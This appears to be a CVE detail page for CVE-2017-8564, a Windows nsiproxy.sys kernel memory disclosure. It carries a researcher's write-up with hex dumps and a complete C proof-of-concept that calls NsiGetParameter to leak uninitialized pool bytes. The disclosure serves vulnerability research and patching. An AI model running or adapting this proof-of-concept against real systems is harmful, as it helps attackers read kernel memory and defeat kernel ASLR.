CVE-2017-8564 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys (\\.\Nsi device) discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes. On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 ................ 000000a0: 00 00 00 00 ff 00 ff ff 00 00 00 00 ff ff ff ff ................ 000000b0: 00 00 00 00 00 00 00 00 ........ --- cut --- Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As can be seen, a total of 13 bytes (out of 184) scattered across the structure are disclosed to the client application. The bug manifests itself through a call to the undocumented NSI!NsiGetParameter userland function, in the same fashion that it is called in WSDApi!CWSDInterfaceTable::GetInterfaceProfiles: --- cut --- .text:6EA52AFF push eax .text:6EA52B00 push ebx .text:6EA52B01 lea eax, [ebp+var_BC] .text:6EA52B07 push eax .text:6EA52B08 push 0 .text:6EA52B0A push 8 .text:6EA52B0C lea eax, [ebp+InterfaceLuid] .text:6EA52B12 push eax .text:6EA52B13 push 7 .text:6EA52B15 push offset _NPI_MS_IPV4_MODULEID .text:6EA52B1A push 1 .text:6EA52B1C call _NsiGetParameter@36 ; NsiGetParameter(x,x,x,x,x,x,x,x,x) --- cut --- The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for netio.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools (0x3d or '=' in this case), and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- Number of Adapters: 1 Adapter Index[0]: 11 00000000: 00 00 00 00 00 01 01 00 00 00 01 01 00[3d 3d 3d].............=== 00000010: 00 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 ................ 00000020: 30 75 00 00 e8 03 00 00 c0 27 09 00 03 00 00 00 0u.......'...... 00000030: 01 00 00 00 64 19 00 00 0b 00 00 00 0b 00 00 00 ....d........... 00000040: 0b 00 00 00 0b 00 00 00 01 00 00 00 01 00 00 00 ................ 00000050: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................ 00000060: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................ 00000070: 00 00 00 00 01 00 00 00 dc 05 00 00 40 00 00 00 ............@... 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00[3d 3d 3d]08 07 00 00 .........===.... 000000a0: 01 00 00 00[3d]00[3d 3d]00 00 00 00[3d 3d 3d 3d]....=.==....==== 000000b0: 6b 0a 34 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? k.4............. --- cut --- At least one local network adapter must be installed on the tested machine to observe the bug. The PoC source code is based on the code sample from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx (in order to list network interfaces) and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp (in order to resolve and call NSI!NsiGetParameter). Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ // Based on example code from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx // and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp. #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <objbase.h> #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "Ole32.lib") #define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x)) #define FREE(x) HeapFree(GetProcessHeap(), 0, (x)) /* Note: could also use malloc() and free() */ // // Suspected prototype of NsiGetParameter, via reverse engineering. // typedef DWORD (__stdcall *NsiGetParameterProc)( DWORD Argument1, CONST UCHAR* Argument2, DWORD Argument3, PNET_LUID Argument4, DWORD Argument5, DWORD Argument6, PUCHAR Argument7, DWORD Argument8, DWORD Argument9 ); /* 0:000> db NPI_MS_IPV4_MODULEID l14 751b3364 18 00 00 00 01 00 00 00-00 4a 00 eb 1a 9b d4 11 751b3374 91 23 00 50 04 77 59 BC */ const unsigned char NPI_MS_IPV4_MODULEID[0x18] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC }; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { HMODULE hNsi = LoadLibraryW(L"Nsi.dll"); NsiGetParameterProc _NsiGetParameter = (NsiGetParameterProc)GetProcAddress(hNsi, "NsiGetParameter"); // Declare and initialize variables PIP_INTERFACE_INFO pInfo = NULL; ULONG ulOutBufLen = 0; DWORD dwRetVal = 0; int iReturn = 1; int i; // Make an initial call to GetInterfaceInfo to get // the necessary size in the ulOutBufLen variable dwRetVal = GetInterfaceInfo(NULL, &ulOutBufLen); if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) { pInfo = (IP_INTERFACE_INFO *)MALLOC(ulOutBufLen); if (pInfo == NULL) { printf ("Unable to allocate memory needed to call GetInterfaceInfo\n"); return 1; } } // Make a second call to GetInterfaceInfo to get // the actual data we need dwRetVal = GetInterfaceInfo(pInfo, &ulOutBufLen); if (dwRetVal == NO_ERROR) { printf("Number of Adapters: %ld\n\n", pInfo->NumAdapters); for (i = 0; i < pInfo->NumAdapters; i++) { printf("Adapter Index[%d]: %ld\n", i, pInfo->Adapter[i].Index); NET_LUID Luid; NETIO_STATUS st = ConvertInterfaceIndexToLuid(pInfo->Adapter[i].Index, &Luid); if (st == NO_ERROR) { BYTE OutputBuffer[0xB8] = { /* zero padding */ }; DWORD nsi_st = _NsiGetParameter(1, NPI_MS_IPV4_MODULEID, 7, &Luid, sizeof(Luid), 0, OutputBuffer, sizeof(OutputBuffer), 0); if (nsi_st == NO_ERROR) { PrintHex(OutputBuffer, sizeof(OutputBuffer)); } } } iReturn = 0; } else if (dwRetVal == ERROR_NO_DATA) { printf ("There are no network adapters with IPv4 enabled on the local system\n"); iReturn = 0; } else { printf("GetInterfaceInfo failed with error: %d\n", dwRetVal); iReturn = 1; } FREE(pInfo); return (iReturn); }